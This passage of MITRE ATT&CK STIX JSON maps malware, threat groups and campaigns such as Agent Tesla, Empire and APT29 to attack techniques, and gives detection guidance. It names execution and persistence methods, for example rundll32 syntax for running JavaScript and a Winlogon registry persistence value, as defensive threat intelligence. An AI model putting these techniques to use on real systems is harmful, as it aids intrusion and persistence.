set.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--07c4bc2b-c593-4fc2-b4f9-b52dadeb72b9","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-14T15:21:37.196Z","description":"Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Typical command-line usage of rundll32.exe is \"rundll32.exe DllFile,EntryPoint\" where DllFile is the name of the DLL file being called and EntryPoint the name of the entry point in the DLL file. \n\nDLLs stored on SMB shares can similarly be called using the syntax of \"rundll32.exe \\\\\\DllFile,EntryPoint\" where is the IPv4 address of the host of the SMB share. \n\nRundll32 can also be used to execute arbitrary Javascript using the syntax \"rundll32.exe javascript:<*code_block*>\"where <*code_block*> is a string defining the Javascript code to be executed. \n\n","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--07c87a67-32d0-4b86-9345-aad1a0241340","created":"2022-02-02T21:30:09.798Z","x_mitre_version":"1.0","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lizar](https://attack.mitre.org/software/S0681) can migrate the loader into another process.(Citation: BiZone Lizar May 2021)","modified":"2022-04-05T17:33:00.067Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07d16181-ba82-42c8-a67b-8d7d5adef52d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-flame-questions-and-answers-51/34344/","description":"Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.","source_name":"Kaspersky Flame"},{"url":"https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/","description":"Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice…. Retrieved March 1, 2017.","source_name":"Kaspersky Flame Functionality"}],"modified":"2019-06-06T14:35:53.951Z","description":"[Flame](https://attack.mitre.org/software/S0143) can record audio using any existing hardware recording devices.(Citation: Kaspersky Flame)(Citation: Kaspersky Flame Functionality)","relationship_type":"uses","source_ref":"malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--07db5f41-fc53-47e6-ae7b-755a4acc9e62","created":"2019-03-11T20:01:20.330Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"},{"source_name":"Github PowerShell Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","url":"https://github.com/PowerShellEmpire/Empire"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-20T14:56:56.657Z","description":"[Empire](https://attack.mitre.org/software/S0363) can acquire network configuration information like DNS servers, public IP, and network proxies used by a host.(Citation: Github PowerShell Empire)(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--07dec22a-ac65-448c-a948-cefd8effa6f2","created":"2024-08-27T18:48:44.768Z","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-27T18:48:44.768Z","description":"[Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) involved exploitation of a vulnerability in Versa Director servers, since identified as CVE-2024-39717, for initial access and code execution.(Citation: Lumen Versa 2024)","relationship_type":"uses","source_ref":"campaign--af0ec65a-caa9-40ef-b1c7-21b71fbf3a10","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07e8c425-2d17-48ea-98ca-40a2aac8cc10","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2019-07-25T14:56:46.761Z","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can use process hollowing to inject one of its trojans into another process.(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07e9d03d-d2e4-449c-b26b-e28548ba052e","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g. unauthorized, gratuitous, or anomalous traffic patterns attempting to access configuration content)","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--07ec1906-e634-43d5-ba87-02054fe82da6","created":"2022-09-30T20:22:18.934Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:22:18.934Z","description":"[Mis-Type](https://attack.mitre.org/software/S0084) has used Windows API calls, including `NetUserAdd` and `NetUserDel`.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07eea18c-048c-4187-a6f1-ca97e9bfc846","type":"relationship","created":"2019-02-12T16:33:29.240Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Zebrocy Nov 2018","url":"https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/","description":"ESET. (2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019."},{"source_name":"CISA Zebrocy Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}],"modified":"2020-12-09T21:54:34.109Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) gathers the current time zone and date information from the system.(Citation: ESET Zebrocy Nov 2018)(Citation: CISA Zebrocy Oct 2020)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--07ef3f89-c78a-4aa0-a77e-842c5220244b","created":"2023-03-20T19:14:03.669Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT29 Nov 2018","description":"Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T17:32:54.591Z","description":"For [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors registered domains for use in C2.(Citation: FireEye APT29 Nov 2018)","relationship_type":"uses","source_ref":"campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--07ef8045-6a01-4764-a351-a8a2ee2170f7","created":"2023-08-01T18:22:51.602Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Gigamon BADHATCH Jul 2019","description":"Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.","url":"https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"},{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:36:33.458Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can utilize `powershell.exe` to execute commands on a compromised host.(Citation: Gigamon BADHATCH Jul 2019)(Citation: BitDefender BADHATCH Mar 2021)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--07efd7ec-332f-43fd-8ffc-6f50c32c4f55","created":"2023-09-12T19:37:06.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T18:08:03.864Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has placed VBS files in the Startup folder and used Registry run keys to establish persistence for malicious payloads.(Citation: Proofpoint TA2541 February 2022)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07f72efd-7960-4530-92f3-6ced33087212","type":"relationship","created":"2020-06-22T20:34:05.418Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}],"modified":"2020-09-23T19:29:10.145Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) includes payloads written in JavaScript.(Citation: Medium Metamorfo Apr 2020) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07f83a39-8bb0-44f1-9c81-7291ba10dd03","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"}],"modified":"2020-03-17T01:22:43.705Z","description":"[Gazer](https://attack.mitre.org/software/S0168) can establish persistence by setting the value “Shell” with “explorer.exe, %malware_pathfile%” under the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon.(Citation: ESET Gazer Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--07f86f87-71bf-4f6b-b902-e6e4d912e2d6","created":"2022-03-25T14:32:35.606Z","x_mitre_version":"1.0","external_references":[{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Donut](https://attack.mitre.org/software/S0695) can erase file references to payloads in-memory after being reflectively loaded and executed.(Citation: Donut Github)","modified":"2022-04-18T16:19:53.631Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--07fd0d2b-867b-4b9a-bf7a-e2c0dfe60079","created":"2022-07-25T18:40:02.195Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Heyoka Backdoor](https://attack.mitre.org/software/S1027) has the ability to delete folders and files from a targeted system.(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-25T18:40:02.195Z","relationship_type":"uses","source_ref":"malware--dff90475-9f72-41a6-84ed-1fbefd3874c0","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0803c8e4-22ae-4431-a229-2ea5b5ea66a1","created":"2024-09-25T13:17:09.528Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Datadog S3 Lifecycle CloudTrail Logs","description":"Stratus Red Team. (n.d.). CloudTrail Logs Impairment Through S3 Lifecycle Rule. Retrieved September 25, 2024.","url":"https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-16T21:28:28.976Z","description":"Monitor for unexpected use of lifecycle policies. Where lifecycle policies are already in use, monitor for changes to cloud storage configurations and policies, such as buckets configured in the policy or unusually short retention periods. In AWS environments, monitor for `PutBucketLifecycle` events with a `requestParameters.LifecycleConfiguration.Rule.Expiration.Days` attribute below expected values.(Citation: Datadog S3 Lifecycle CloudTrail Logs)","relationship_type":"detects","source_ref":"x-mitre-data-component--45977f14-1bcc-4ec4-ac14-a30fd3a11f44","target_ref":"attack-pattern--1001e0d6-ee09-4dfc-aa90-e9320ffc8fe4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--08052557-0aa5-49d0-9254-722e4f04804f","created":"2022-09-07T19:09:19.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:36:57.248Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors used [Empire](https://attack.mitre.org/software/S0363) to obtain a list of all running processes.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08057442-4b2c-4841-b351-8813431704e9","type":"relationship","created":"2020-05-27T20:25:33.659Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 MechaFlounder March 2019","url":"https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/","description":"Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020."}],"modified":"2020-05-28T16:19:14.640Z","description":"[MechaFlounder](https://attack.mitre.org/software/S0459) has been downloaded as a file named lsass.exe, which matches the legitimate Windows file.(Citation: Unit 42 MechaFlounder March 2019)","relationship_type":"uses","source_ref":"malware--dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--080702d5-0c8d-444f-817e-afabb83a105a","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor for changes to binaries and service executables that may normally occur during software updates. ","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--70d81154-b187-45f9-8ec5-295d01255979","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08109d9e-3258-4b9b-8e1d-ea90d05c18b9","type":"relationship","created":"2019-01-29T18:44:04.958Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html","source_name":"Talos Agent Tesla Oct 2018"},{"source_name":"DigiTrust Agent Tesla Jan 2017","url":"https://www.digitrustgroup.com/agent-tesla-keylogger/","description":"The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."},{"description":"Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.","url":"https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html","source_name":"Fortinet Agent Tesla April 2018"},{"source_name":"Fortinet Agent Tesla June 2017","url":"https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html","description":"Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018."},{"source_name":"Bitdefender Agent Tesla April 2020","url":"https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/","description":"Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."}],"modified":"2020-05-20T13:38:07.325Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can capture screenshots of the victim’s desktop.(Citation: Talos Agent Tesla Oct 2018)(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: Fortinet Agent Tesla April 2018)(Citation: Fortinet Agent Tesla June 2017)(Citation: Bitdefender Agent Tesla April 2020)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--081406d8-0486-4bfe-8d99-cd505f5cceb6","created":"2020-05-05T17:07:33.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Carbon Black HotCroissant April 2020","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:15:17.406Z","description":"[Rifdoor](https://attack.mitre.org/software/S0433) has encrypted strings with a single byte XOR algorithm.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--44c75271-0e4d-496f-ae0a-a6d883a42a65","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--081a9ee3-3609-4bab-8956-d0bd2b77754a","created":"2023-03-26T18:23:23.859Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"},{"source_name":"CrowdStrike SUNSPOT Implant January 2021","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/"},{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T18:23:23.859Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used `scheduler` and `schtasks` to create new tasks on remote host as part of their lateral movement. They manipulated scheduled tasks by updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration. [APT29](https://attack.mitre.org/groups/G0016) also created a scheduled task to maintain [SUNSPOT](https://attack.mitre.org/software/S0562) persistence when the host booted.(Citation: Volexity SolarWinds)(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: CrowdStrike SUNSPOT Implant January 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--081c68ae-de26-4ab4-9108-5c7493f34f43","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","source_name":"FireEye CARBANAK June 2017"},{"url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html","description":"Carr, N., et al. (2018, August 01). On 